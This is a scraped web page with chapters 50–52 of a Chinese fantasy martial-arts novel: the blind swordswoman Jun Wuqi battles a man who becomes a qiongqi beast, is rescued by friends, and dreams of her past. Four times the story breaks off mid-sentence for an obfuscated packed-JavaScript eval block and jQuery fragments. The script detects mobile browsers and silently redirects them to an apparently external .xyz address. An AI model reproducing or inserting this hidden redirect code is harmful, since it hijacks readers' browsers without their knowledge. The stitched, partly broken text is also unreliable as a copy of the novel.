;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948389|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>陆元飞咕咚一声仰面朝天摔倒在地,神情还有点懵。君无岐抬杖抵着他喉咙,微微使了点劲,硌出一道红痕,“我们认识吗。”
陆元飞睁大眼睛。
君无岐以为他要翻脸,正琢磨着怎么能套出点话来,就听他激动道,“对,就是这样!君子剑,你就是君子剑!”
君无岐,“……”
坏了,好像遇到变态了。
她一言难尽地松了下劲,“你在说什么。”
陆元飞直愣愣地看着她,眼神痴迷,“你不记得我……你果然不记得我……对,这才对,你的确不应该记得我,我只是台下人群中的一个而已,你那么耀眼,你那么夺目……”
他浑身都在战栗,语气里有股说不出的潮湿黏腻,“来,快来,我专门为你打造的长悲台,只属于你的,足够你挥剑一千次、一万次!”
他一把攥住君无岐的胳膊,拖着她往屋外走。
君无岐踉跄了几步。
陆元飞猝然停步。
“不对,不对不对不对。”他眼睛亮得瘆人,字与字之间有种微妙的黏连,尾音却断得十分利落,听起来像是个敏锐的疯子,“你眼睛有问题,你不是,你不是!”
话语说到最后已经是在接近咆哮。君无岐的忍耐限度也终于到了最边缘,她噔噔噔倒退三步,扬起手中竹杖,悍然向前一扫!
落了个空。
陆元飞人已经在一丈之外!
“她会来的,她会来的!”他夹带着一缕哭音怒吼,屋内所有夜行灯都随着这声音向上浮起,烛芯骤然爆开一闪随后熄灭,屋檐下所有的风铃狂甩,叮叮当当响得人头疼。
花香里飘来一抹杀机。
“唰!”
小屋里挂着所有帐幔都在同一时间朝着同一方向飞起,伴随着刺啦声破成布条。漫天飞舞的丝絮里,君无岐横杖一挡,厉风刮来,唰地被削掉一截。
“以后都得改成铁的。”她喃喃自语。
她随手丢掉劈坏的竹杖,指尖在旁边一探,摸到了个不知道干嘛用的硬物,拎起来就要往对面扔——
“住手!”
陆元飞骤然发出尖锐嘶鸣。
但为时已晚,君无岐已经毫不犹豫地松开了手——
“啪!”
那东西重重砸在地板上,四分五裂。
“你竟敢、你竟敢!”陆元飞爆发出歇斯底里的怒吼,“砸碎君子剑的塑像!你找死!”
然而君子剑本人只觉得他变态。
她悄没声地又掂了个棍状物握在手里,手感感觉像画轴。她心里有个不太好的预感,这不会是她自己的画像吧?
陆元飞的反应证实了这个猜测。
“放下!不许动!”他粗哑喘气,“该死的,我要你千刀万剐!”
他的眼神在那一瞬间变得极其恐怖。
“每一个……每一个胆敢亵渎她的人……”他低声道,“我都要杀死……杀死……”
木屋在剧烈震动。
门外传来仆从惊惶的询问,可屋中没有人回答。精美的瓷器、珠宝、文玩字画等等接连落地,滚作一团。窗下一张小几翻倒,瓶中插的月季撒落,随即被人一脚碾过。夜行灯们惊恐地聚在一起,发出人类听不懂的喁喁低声。
今夜晴月被迅速聚拢的黑云遮蔽,数道闪电骤然劈落,昭示着不详的来临。君无岐算是明白了为何陆元飞即便做出这么多荒唐事仍然备受重视,只有一个原因。
他很强。
只可惜,比起她来。
还是差了一点。
50. 观音颅(九)
君无岐握紧手中临时捞来的画轴,在心里第一千次怀念自己的剑。
现下屋中着情况谁看了都不会觉得她赢——盖因陆元飞此时情状实在骇人,面上青筋条条绽起,眼珠通红,指尖生出尖利黑爪,比起人类,更像个半人半妖的怪物。
他仰面怒吼,冲她扑来!
君无岐扬手一拦。
不曾想陆元飞变成这样了还惦记着他的画,不敢正面去抓,侧身从右面一探。她的听力何其敏锐,听他一动就猜到了想干什么,顿时毫不犹豫地转腰,画轴偏来,正正对上他的尖爪!
陆元飞迫不得已收势,差点摔倒。
“卑鄙!”他咬牙,反手劈向她眉心!
他们离得太近,这一下除非她会瞬移否则断不能躲过,电光石火间她果断松手一扔,就见那卷轴啪地飞出去,陆元飞没有半分停顿,如同追着骨头的狗一般掉头就追!
虽然反应够快,但他的指甲还是擦破了君无岐皮肤,在她眼下勾出一道伤痕。
眼瞎,没猫,没剑,还在地方狭窄的室内,简直倒霉透顶。
君无岐擦了下伤口溢出的血。
“本来不打算闹出这么大动静的……”她嘀咕,“但确实没办法……”
陆元飞接住那卷轴,小心地查看了下确定没有损坏,这才回过头,惊觉她正在掐诀,口中不知念着什么。
“念咒?我也会!”他冷笑,“若论天下奇术,还有谁能比得上我们破红山庄?”
他丝毫不在意自己身上的衣裳被勾破,径直取出一叠符箓,随手抓起一张,“去!”
那张符在半空中无火自燃,噼啪爆出无数火星,飞快冲着君无岐飞去!
就在将要撞上她的前一瞬。
她蓦然睁眼。
刹那间太阳从她眼中升起,不可直视的黄金瞳爆出璀璨虹光,她袖中数道雷符同时化作灰烬,千万道霹雳自半空中斩落,巨大威力悍然轰碎了整个小屋!
一弧白光从花海中升起,生生抗住了这惊天一击,这才保住半个山头没被轰掉。众多侍从皆抱头奔逃,唯独红夫人站在门边,似犹豫似不甘,纠结片刻才眼神一沉,扭头便走。
君无岐轻轻喘着气。
“就是这样。”她愉快地轻笑起来,“里面太窄了,还是这样适合我。”
既然看不到出口在哪里,那就把整个地方都破坏好了。
小屋废墟中传出可怕的喘息声。
是陆元飞。
他满身狼狈地自废墟中爬出,全身都破破烂烂,唯独一双眼睛亮得诡异。他直勾勾盯着君无岐,每一个从喉咙里挤出的字眼都像来自地狱。
“你,今日必死!”
九重雷云仍在天上盘桓不散,间或落下雪亮电光,映亮残骸上的两人。他此时已经完全不像个人类,背上生出厚厚尖刺一样的毛发,数枚獠牙从唇间呲出,尖锐如匕。君无岐望着他的魂火,忽然明白了为何会如此。
“穷奇……”
这是传说中当年游山醉跟随太祖打天下时收服的异兽。
尾音刚落,就见陆元飞挣扎着从背上生出一对翅膀,长有四五尺,披满长羽。他嗥叫出声,瞳色猩红,缓缓迈开步子。
“我陆家身负异兽之血,数年来,你还是第一个能让我现出本相的人。”陆元飞说道,“心怀感谢吧,人类。”
君无岐捏紧了指尖。
这倒确实出乎她的意料。
“可破红山庄先祖陆松和不是人类吗?”她沉声道,“又怎么会传承穷奇的血?”
陆元飞恶意咧开嘴角。
“好问题。”他紧紧盯着猎物,“可惜,下地狱去问吧。”
声未到,人已先至!
穷奇当空挥下一爪!
之前那下子和这次比起来简直就是小打小闹,君无岐只听声音就知道不可硬抗,腰背猛地向后一倒,生生躲开了这一击!
风声擦着耳边飞掠,她遽然弹起,指尖几乎要在空中划出残影,眨眼间图案已经落成,地面轰然一震。
木信印!
花海中陡然生出漫天遍地的花藤,如有目视般爬上穷奇躯体。他一时不察,竟然被这些看似柔软的小怪物们生生缠住后腿,花刺弹出,瞬息间便已没入皮肤!
陆元飞痛吼出声。
这叫声震天撼地,再加上之前落雷的巨响,整个山庄的人都不约而同地抬起头来,包括岳又青。她此时正在半山腰的一间小屋内,鼻梁上架了副琉璃镜,手里握着个极其精巧的小机关人。她正想出屋去看看怎么回事,忽然感觉怀中一烫。
她忙不迭取出那东西放在眼前,神色惊愕。
“……这是?”
这响彻云霄的动静没能传到山腹中。
陆德辉只觉得地面震了一下。
这里是破红山庄大多数人都不知道的秘密之所,空气中充斥着久不流通的腥臭味,墙上挂着布满锈和血的铁器。甬道尽头有间面积不算太大的矮厅,四面立着八根铜柱,刻满异兽奇妖,但若是仔细看,就会发现所有形象均是大大小小的穷奇。正中央有口长宽三尺的小池子,里面还有未清理干净的血,那股难闻味道大多便来源于此。陆德辉站在池子旁边,身边还有一人,中年,留一把短髯。
“这聚血之法还真是好用。”那人捋着胡子道,“这才几年,竟就有了元飞那样的经世之才。”
“比不上令郎贤侄。”陆德辉恭维道,“听闻他前些日子在闭关,如今可是快要出关了?”
提起自己家孩子,短须男人眼中飞速划过一抹暗沉。
“不过尔尔罢了。”他道,“陆兄,你叫我来究竟所为何事,应当不只是一个群贤会那么简单吧?”
“还是兄长火眼金睛。”陆德辉笑,“其实前些日子西域那边传来些消息,我想与兄长一同分享罢了。”
短须男人眯起眼睛。
“哦,是什么样的消息?”
“大明尊座下迦楼罗死了。”陆德辉紧紧盯着短须男人,“使者云,想从你我家族中选出一位弟子,前去替代迦楼罗。”
只是不等他从短须男人脸上看出什么来,忽然自墙角处传来一阵嚣张大笑。
“哈哈哈哈哈哈哈哈哈!居然还有人要上赶着给人当狗!”那声音张狂道,“你们这俩老货,当真一个比一个不要脸!”
陆德辉猛地转头,怒然看向角落。
那里有一个铁笼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952632|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁笼栏杆排得极细极密,保证哪怕关的是个小孩都跑不出去,隔着缝隙能看到其中坐着一人,深色皮肤,脸颊两侧纹满奇异黑白纹路,像是符号,又像文字,一头长发结成无数辫子,用彩色细绳扎起来,只可惜大多都浸满了血。那人身上亦是遍布伤口,但神色却看不出,一副睥睨万方的模样。
“看我做什么?”那人道,“做了还怕被人说?”
“刀半梦,你就趁着还能喘气的时候多说两句话吧。”陆德辉冷冷道,“待再过几个时辰,我倒要看看你还能不能笑得出来!”
“老娘刀头饮血了半辈子,还怕这个?”刀半梦抱臂懒懒回答,“姓陆的,你最好快点弄死我,否则等我出去了,第一件事就是斩了你的狗头!”
“大言不惭。”陆德辉讥笑,“出来,你这辈子别想出来!”
他大袖一挥,正要取下刑具再给刀半梦放放血,忽然地面又是一震,紧接着连绵不绝的晃动接连传来,甚至都站不太稳。
“怎么回事?”
他惊怒道,“群贤会在即,可不能出意外!”
他当啷一下丢掉铁器,大步向外走。
短须男人站在原地没有动,一双黝黑的眼慢慢落到笼子上。
少顷,他忽然一笑。
。
花海中。
其实已经不能称作是花海了,毕竟所有植物都已经疯长成了和原来完全不同的样子,绣球和月季在天上狂舞,这场景简直宛如噩梦。地面坑坑洼洼,到处都是残花落叶。一棵紫薇身上还带着破布片,在风中飘扬,长长的花藤如同青蛇,不约而同地涌向木屋方向。
穷奇正在原地发疯。
此刻任谁来也认不出他原本的模样,只会觉得这是个彻头彻尾的妖兽。它毛发须张,獠牙雪亮,两只翅膀数次想要扑腾着飞起来,可都被生生拽落,以至于它越来越愤怒,猩红兽瞳死死盯着君无岐,那架势,几乎称得上一句不死不休。
君无岐也不好受。
她袖中符纸已经基本被用光,木信印的力量也正在衰弱,如果不尽快拿到个趁手的武器,她就只能再度开启“点生目”,可这双眼睛的力量已经濒临极限,若是强行开启,只怕会……
“无岐!”
狂风中传来召南活泼的声音。
“我回来了!接着!”
她闪电般出手,一物正正落在她掌心,触手冰凉,居然是个寸余长的小铁棒,这玩意见风就长,不过瞬息之间,呼啦变长到足有三尺,通体细长,形状像个锏,握在手里正正好好,就是沉了点,不过也能权当剑用。
“我跑遍了山庄好几层才找到这么个好东西!”召南兴奋道,“你看看还顺手不?”
君无岐大笑起来。
“好召南!”她左手持锏,狂风将衣摆掀起,却撼不动手臂一星半点,“待到此间事了,我一定带你去重霄岳吃鱼!”
召南高兴得尾巴摆成一大朵蒲公英。
它趴在树上,眯起眼睛,看向下面正在对峙的一人一兽。
忽然,眼角余光瞥到一个灰影,很淡,像是一滴墨水溶入水中,甚至能透过身体看到它背后的东西。
那是什么?
51. 观音颅(十)
不知为何,召南心中升起了一丝淡淡寒意。
那是……鬼吗?
不等它再仔细看,那灰影像是已经发现了它,兜帽微微一动,整个人渐渐消失不见了。
从山坡下远远跑来一个黑衣男子,他朝着废墟中对峙的一人一兽大力挥手,口中大喊,“别打了!别打了!”
可惜没有人理他。
君无岐抬锏,挥动时带出呼啸风声,狠狠落在陆元飞前爪上!
巨兽嘶鸣。
穷奇的体型是她数倍之多,只是前腿就有她站起来那么高。他疯狂挣扎着挣脱了花藤,脊背上无数尖刺瞬间腾空,如暴雨般凌空飞射下来!
君无岐挥锏。
锏乃君子之器,有棱而无刃,面对这种情况时最是好用。她劈手挥出一道剑气,成千上万花瓣被同时舞起,霎时飞扬成一帘花墙,柔软至极的花瓣被尖刺层层洞穿,瞬息间又噼里啪啦落下,若是有心去看,就会发现每根尖刺的顶端竟然已经被生生顶弯,即使落到身上也残存不了多少杀伤力。
何其可怕的控制力。
陆元飞暴怒地拍打双翅。
半空中霹雳惊响,一道炫目白光刹那间照彻整座山庄。那黑衣男子本来是要掺和战局的,可被这电光一耀,情不自禁地挡了下眼睛——
就是他挡住眼睛的这一刹那。
穷奇挥下一爪,张口咬去!
这一下若是被咬实那不死也残。君无岐骤然抽身后退,长锏在她手中如臂指使,精准无比地敲上穷奇一颗獠牙!
当!
这一下她没收力,清脆的碰撞声自穷奇口中传来,他猛地合拢上下颚,然而为时已晚,只听淡淡一声咔嚓,那颗獠牙啪地落地。
巨大的酸痛让陆元飞止不住痛嚎。
“大师兄!”一直试图阻止他们的黑衣男人焦急至极,“怎么会突然打起来……你们住手!”
他见自己的喊话声毫无作用,也不再白费力气,手探入衣襟,取出一物。
那是枚手掌大小的金铃。
这铃铛没有铃舌,形状很是朴素,不带任何纹饰,颜色也不明亮。他很珍惜地在铃铛表面一抹,劈手往废墟中一扔,“去!”
金铃唰地变大。
这大小足够把一人一兽全罩在里面,遮天蔽月。黑衣男人见状立刻竖掌念咒,就听那金铃“嗡”地一震,爆射出璀璨金光,在场所有人只觉脑子猛地一懵。
君无岐听力极其敏锐,受到的影响最大。她噔噔噔后退几步,情不自禁捂住一只耳朵,眉头狠狠拧起,“别念了!”
黑衣男人充耳不闻。
穷奇仰起头,不耐烦地甩了两下头。
但很明显他远没有君无岐那般痛苦,瞅准这个空子,他一拍翅膀,朝她吼出惊天动地的咆哮!
君无岐只觉得双耳一空。
一缕细细的血从左耳流下。
远远看着的召南急了,当即不顾危险就要扑下树去找她。可还没等落地,忽然有人一把将它捞起,声音焦急。
“怎么是你?我就说看着眼熟!若不是木信印烫我一下,我还不知道是你们!”
召南一回头,愣住了。
“又青?”
那边战斗还未结束。
陆元飞那巨大的前爪朝君无岐重重落下!
她虽然听力暂时缺失,但战斗的本能仍然还在,危险来临的前一刻已经藉由皮肤察觉到了那一丝厉风——嘭!
穷奇的前爪砸在了长锏上!
但终究还是晚了点。
穷奇的爪尖就在她眼前一寸。
一道竖向的伤痕缓缓浮现,恰与之前那道组了个十字形。君无岐咬着牙,拼尽全力抬起长锏,甚至锏身都往下弯了个弧。令人牙酸的摩擦声中,她几乎感觉到自己的关节正在吱呀作响,按理来说双方的角力她应当毫无优势,可最终——
是穷奇被整个掀了出去!
巨大的兽身咣当撞在金铃上,撼得铃身一颤,嗡鸣终于停止。君无岐凭借着千百次战斗锻炼出的直觉,飞身一跃,重重把长锏往下一插!
穷奇的惨叫声响遏行云。
这一锏竟然直接捅穿了它的尾巴!
它毕竟是由人所化,对于妖兽之间动辄撕裂的血腥搏斗十分不适应,顿时无力再起身,只能藉由前后爪刨动些土出来,噼里啪啦洒在她身上,简直如同幼童玩闹般可笑。
君无岐毫无动摇。
她右耳听力尚还残存少许,朦胧中似有人在咆哮,可她根本听不清是谁。手下巨兽不知为何挣扎起来,她一不做二不休,紧紧握着长锏,用力往一侧一挑!
刹那间皮肉崩裂,森白尾骨被顶出一截,喷发出的血飞溅一地。君无岐正要拔锏,忽然有人拉住她手腕,声音清脆,“跑!”
她毫不犹豫地松了手。
那个人拽着她迈开步子,刚踉跄走了几步就感觉身下一片柔软将她托起,这熟悉的皮毛质感定是召南无疑。它化作小马跟着那人一路狂奔,也不知道跑出去多远,它再也支撑不住,重新化为猫咪。君无岐骤然跌落,可还未摔倒,已经有人提前接住了她。
“你现在能听到吗?”那人大声道,“喂——”
君无岐伸出根手指,把她推远一点,语气无奈。
“我听得到,又青。”
“我就说当时看到的那人是你,你居然一声不吭!”岳又青叉腰道,“当时我娘不是让你隔段日子就往家寄封信吗?这都几天了你自己算算!”
她说话时身上的小玩意全都在一并叮呤咣啷狂响,听得君无岐头疼。她转头,“你说什么?”
“别装,我知道你听得到!”岳又青气不打一处来,正要去戳她额头临了又不敢,委委屈屈地在她腰上戳了一下,“欺负我近视眼是吧?你可真是个王八蛋,我管不了你,我还不信我娘也管不了你!你等着,我这就给娘传讯!”
君无岐一把握住她的手。
“等一会……”她声音虚弱且疲惫,“先给我看看,我方才那一下好像伤到了左手……”
“什么?”岳又青一惊,顿时什么告状都忘到了脑后,立马就来撸她袖子,“不是让你好好爱护你的左手吗?怎么好端端地会伤了,是不是扭到筋了?别动,让我看看。”
君无岐任由她打量自己手臂,悄无声息地捏了把召南。
一人一猫同时松了口气。
岳又青看了半天也没看出哪有伤,但又怕自己水平不精,犹犹豫豫放下手,“你具体哪里疼啊?要不要紧?要不我们还是找个大夫去?”
君无岐摇摇头。
“先不必管那些,我好了不少。”她道,“现在这是在哪里?”
岳又青抬头环视了一圈。
“啊,我们好像跑到山庄后面的山里来了。”她不很确定,“到处都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957047|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是草,还有树。”
“接下来要怎么办?”召南说,“你和山庄少爷打了这一架,应该是很难再混进去了。”
君无岐痛苦地扶住额头。
“既然都这样了,也就罢了。”
“要不我去找元和帮帮忙?”岳又青道,“他人还不错,兴许会帮我们……”
“我还没问你呢。”君无岐语气严肃起来,“你们怎么认识的?为什么他会‘生塑’?是你教他的?”
岳又青一愣,“我可没教他,是他自己学会的!”
君无岐狐疑,“怎么回事?”
说起这个岳又青也有点纳闷,“前段时间他们找上娘想给他们这一个姑娘换脸,娘不愿意走动,派了我来,当时出了点状况……”
她看着君无岐,欲言又止。
“总之,就是很多原因,他就学会了,那我也不能按着把他打失忆吧……”
君无岐简直想敲她。
“就算不能把他打失忆。”她无奈道,“你就这么任由他随便乱用?”
“那他长得好看嘛,还会说话。”岳又青扭捏道,“没事的,他又不是我们家的人。”
她天真的语气里有种单纯的残忍,“他不会保养之法,若是一直这么随意使用秘法,到不了三年,他的手就会烂掉。不过我看他的使用频率,可能三年都用不了哎。”
“线呢?线也是他自己弄出来的?”
“那当然啦。”岳又青笑眯眯道,“我才不会给他线呢,那都是他自己琢磨着学会的,不过呀,材料没用对,恐怕消耗的是他自己的命数呢。”
君无岐这才略略放下心。
“以后还是当心些,”她道,“岳姨不爱出门,一直让你代表偃门行走,恐怕很多人都在盯着你。”
“我晓得的。”岳又青弯腰把召南抱起来,“召南,你怎么不吭声呀?哟,我怎么感觉你比出门前沉了?”
召南恨恨拍她一下。
“我才没胖!是毛长长了而已!”
“好好好,长长了。”岳又青把它揣进怀里,“呀,天都快亮了,不知道他们会不会来找你。这样吧,我们先去我住的地方藏一藏,我出去打听打听消息。”
这是目前看来最可行的方法了。
两人一猫在原地缓了会,待到日出前的淡光从东方升起,山庄里的喧闹渐渐平歇下来,这才鬼鬼祟祟地一路避着人去了客房。
只是还没到地方,刚刚安静下来的山庄再次响起呼喊。
“师兄死了!师兄死了!”一个少年含着泪从山上冲下来,径直从山道上跑过,“是鬼!鬼又来了!”
岳又青和召南愕然对视。
“又出事了?”她疑惑道,“你们且先歇歇,我去看看。”
破红山庄的客房安排得还不错,各个都是单独小院,颇为幽静。君无岐今天消耗实在过大,一进门便在召南指引下直奔卧房,只是还没等到榻前,猫忽然腾地竖起尾巴。
“谁在里面?”它脊背拱起,朝屋中哈气,“出来!”
“呵。”
屋中传来不屑的笑声。
“看你俩那样,打得过谁?”
听见这声音,君无岐忽然不动声色地倒退一步。
“嗯?等等。”
不等她悄悄退出去,那人已经主动走了出来,满面狐疑。
“我怎么觉得你这么眼熟?”
52. 观音颅(十一)
君无岐直直站在原地。
召南没明白这是怎么个情况,尾巴拍了下她的腿。她这才疑惑歪头,指了指眼睛,又指指耳朵。
“瞎子?还听不见?”
来人凑近她。
“那还挺辛苦长这么大的……喂,你是真一点都听不见吗?”
君无岐毫无反应。
那人啧了下嘴,大约是以为自己认错了人,大咧咧往小榻上一坐,恹恹道,“若真是她应该也混不到这么惨……算了,就当我不存在吧。”
召南看看她又看看君无岐。
“这里是我们住的地方!”它不爽道,“你是谁啊?”
“不用管我是谁,我还没无能到欺负残疾人份上。”那人向后一倒,“小猫,看好你主人吧,咱们互相不打扰,我缓过劲来就走,如何?”
召南有点犹豫地瞅瞅君无岐。
她动作幅度极小地碰了下它。
“那好吧。”召南勉强道,“我告诉你,不许偷袭,我是很强的!”
那人这次连话都没说,只是从鼻子里哼出个单音。
召南便用尾巴勾着君无岐脚踝,引着她慢慢往前走。
这卧房布置得相当不错,内外间用帘子相隔,旁边多宝架上摆着些常见的瓷瓶等装饰,外间还有几案茶杯等物,窗下有张小榻。照明依然是夜行灯,只是如今它们都睡了,没有半点火光,内间最里面是张架子床,围了圈纱帐。
一人一猫磕磕绊绊地往那里走去,因为现在没有竹杖,召南多少又有点碍脚所以步履很是艰难。君无岐正琢磨着怎么能赶快把这人哄走,忽然耳边袭来一阵厉风!
她条件反射一侧头。
紧跟着就要下意识反手还击,手都抬一半了骤然反应过来,硬生生改了个方向,假装捋耳侧头发。
“好像有风?”她道,“召南,窗户没关吗?”
“嗯?”召南下意识看一眼窗,“关着呀……”
坏了!
君无岐还没想好该怎么补救,那人已经第二次出手,这次直奔她脖颈而来,带着股森冷寒意——这家伙居然动了刀!
这下是不动手也得动手了,君无岐猝然侧身,袖中滑出枚铜钱往刀锋上一磕,当!
铜钱被一分两半,啪嗒掉在地上。
“装,接着装。”刀半梦冷冷道,“等我把你劈成两半你就不装了。”
话音还没落地,她已经再度出手!
刀风掠过耳畔,唰地割掉一缕头发,架子上一只花瓶啪地掉到地上摔了个粉碎。君无岐没有武器,听力也尚未恢复完全,简直是左右支绌,迫不得已之下,只能开口,“好了!”
那刀尖就悬停在她鼻尖之前。
她悄悄要往后退。
“怎么,不装了?我还以为你也一并哑了呢。”刀半梦听不出是喜是怒,“再往后退一步,我就把你头发剃了,我说到做到。”
君无岐一摸头顶。
“不是听不见吗,这会怎么又听见了?”刀半梦咬牙切齿,“你那眼睛是怎么回事——你真看不见了?”
“这个,说来话长。”君无岐忙不迭道,“那个要不以后再说咱们先坐下吧你应该也很累了……”
“你的剑呢?”刀半梦根本没听她说话,厉声打断,“当年为什么不告而别?”
君无岐只觉得脑仁疼。
“那个还是先坐下……”
“谁弄瞎了你眼睛?我去杀了他!”刀半梦向前一步,“是不是姓樊的?你不见之后他跟着也不见了,当年我就说他不是个好东西!”
君无岐虚弱道,“啊,我头好疼……”
刀半梦这才住嘴,没声好气地提起她胳膊。
“我真是欠了你的。”她冷森森道,“别动。”
她一把把君无岐丢到榻上。
“现在可以说了吗?”她自己的伤口也崩开了,血湿外衫,但她好似早就习惯了般丝毫不在意,只是追问君无岐,“你要是敢胡说八道我就撕了你的嘴。”
召南跟着跳上小榻,警惕地看着她。
“还有这猫又是哪来的。”刀半梦皱起眉,“你这十年都在干什么?”
君无岐充耳不闻,默默闭上眼睛。
“你还敢睡觉!”刀半梦伸手就要掐她,召南喵嗷一声蹦起来挠她,她闪电般缩回手,语气极差,“这么紧张干什么,我又不会真杀了她。”
召南还是压低了上半身,不住朝她哈气。
“哼。”
虽然脸色仍然难看至极,但刀半梦却没再动作,草草给自己处理了下伤口,就在小榻边拖来个凳子,坐了下来。
她那满头辫子散下来,上面的血迹土灰都还没来得及清理,散发着有点微妙的气味。她有点嫌弃地拨开头发,伸展开身体,往后一倒,也睡了。
屋里只剩下轻轻的呼吸声。
君无岐睡着了。
她梦到了十年前的事。
扶兴城地处北方,春天来的要更晚,四月份正是开花的好时候,纷扬梨花如雪,宛如还是冬天。地上还带着寒意,每个人都裹得严严实实,但叫卖声已经响彻大街小巷。隔着一道院墙,外面熙熙攘攘,好不热闹。
她带着岳又青这个小跟班,愁眉苦脸地蹲在地上。
“这可怎么办?”当时岳又青才八九岁,还是一团孩气,两腮圆鼓鼓的,像团汤圆,“她晕过去了哎……一会朱老板回来要生气的。”
她俩旁边还站了个少年,十七八岁,黑衣笔挺,像棵春天里的新竹,腰间悬一把剑,皱眉道,“要不还是扔出去算了。”
这里是间屠宰铺子的后院,墙边支起个铁架,挂满一排开膛破肚的牲畜,半爿猪扔在桌案上,旁边放着砍好的前后腿还有肋排。院角屋檐下摆着口大缸,原本满满当当装了一缸卤味,可现在已经空了小半,吃干净的骨头扔在地上,啃得锃光瓦亮,一点渣都没剩下。
“我和朱老板商量好在这里做满三个月的,现在就剩下两天,结果出了这样的事。”君无岐生无可恋道,“我这个月的工钱全扣光都不够补的。”
她也才十六七,生机勃勃,一举一动都神采飞扬,即使作苦态也只让人觉得可爱。
“她身上没有值钱的东西吗?”樊修玉问。
“全摸了个遍,比我都穷。”岳又青小大人似的叹气,“这到底是哪里来的人啊,跟饿死鬼似的,还画着这样的纹身……”
她伸出手,戳了下躺着之人的脸,“外族?”
“我听闻此次百武集有外族人参加,她可能就是跟着过来的。”樊修玉道,“不然就把她送到驿馆那边,那里一定有人认识……”
“不要!”地上躺着的少年猛地睁开眼,一把拉住君无岐衣角,口音还有些蹩脚,“别送我……去。”
“逃出来的?”樊修玉挑眉,“莫不是谁家私奴?”
少年怒视着他。
“我不是……私奴。”她磕磕绊绊道,“我有名字,我叫,刀小龙。”
几个人面面相觑。
“好奇怪的名字。”岳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960954|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又青忍不住说,“还真是外族人啊,这可怎么办?”
“我可以……干活!”刀小龙哀求地看向君无岐,“什么都行,别送我走……”
“呃……”君无岐摸了下鼻子,“要不这样吧,你会武吗?”
刀小龙眼神猛地一亮。
“我会!”她使劲点头,“我会耍刀,还能……杀人!”
“哎哎哎,那倒不必!”君无岐被她吓了一跳,急忙按住她,“既然会武就好办了,今晚我们要去夜探,你跟着一起来吧,说不定能找到些什么,把你吃掉的窟窿补上……”
“你要带着她一起去?”樊修玉不赞同道,秀山似的眉头皱起,“可今晚之事颇为隐秘,若是不小心露了破绽……”
“我不会的!”刀小龙急忙摇头,“我能……干活!”
“别这样嘛修玉。”君无岐笑眯眯道,“多一个帮手多一份力,我相信她能帮上忙,是不是?”
刀小龙大力点头。
“咳,那好吧。”樊修玉偏过头,“趁着朱老板还没回来,我们先把卤味缸藏一藏。”
一阵风吹过,梨花花瓣打着旋落下,飘在卤水缸水面上。四个人分头干活,忙忙碌碌,很快就把院子收拾得和原来一模一样。
空气中好似还洋溢着食物和鲜花的香味。
那是君无岐生命中难得的一段愉快时光,自那之后的很久很久……她都在不自觉地回味这段历程。
就像囚徒追忆自由,老者怀念青春。
她好似又闻到了梨花的香气。
“君子慈!”
她霍然睁开眼睛。
一团魂火映入眼帘,淡金色,与之而来的还有淡淡痒意,似乎是什么东西在面上拂动。
“哟,醒了?”刀半梦把自己的辫子捞到身后,“起来吧,又青回来了,还带了点吃的。”
君无岐慢腾腾地从小榻上爬下来。
“都有什么好吃的?”
“哼,就知道吃。”刀半梦阴阳怪气道,“怎么不见你这么关心我?”
君无岐,“……”
她深深吸了口气,“对不起是我的错都怪我当初没有跟你告别就走了也没有留下任何留言请你大人大量原谅我吧求求你了——”
“停!”刀半梦听得头痛,“毫无诚意,全是敷衍。算了,滚过来吃饭。竹杖在你左手边自己拿。”
君无岐往左手边一摸,果然摸到一根竹杖。
她自己摸索着慢慢走到桌边,听到岳又青正在和召南说话。
“我此前也听闻有鬼影杀人,不曾这次却真的见到了。”岳又青忧心忡忡,“死的那人是二庄主手下大弟子,就是之前在花海的那个黑衣男人,你还记得吗?”
召南喵了一声,“他怎么死的?”
“说起这个,有点奇怪……”岳又青有点犹豫,“当时我们从花海离开的时候他还好好的,可只是过去了一个时辰,他竟然就死在了山庄大门之下,更奇怪的是,他是被溺死的!”
“溺死的?”
召南吓了一跳,“可是山上没有湖啊?难道是按在水缸中溺死的?”
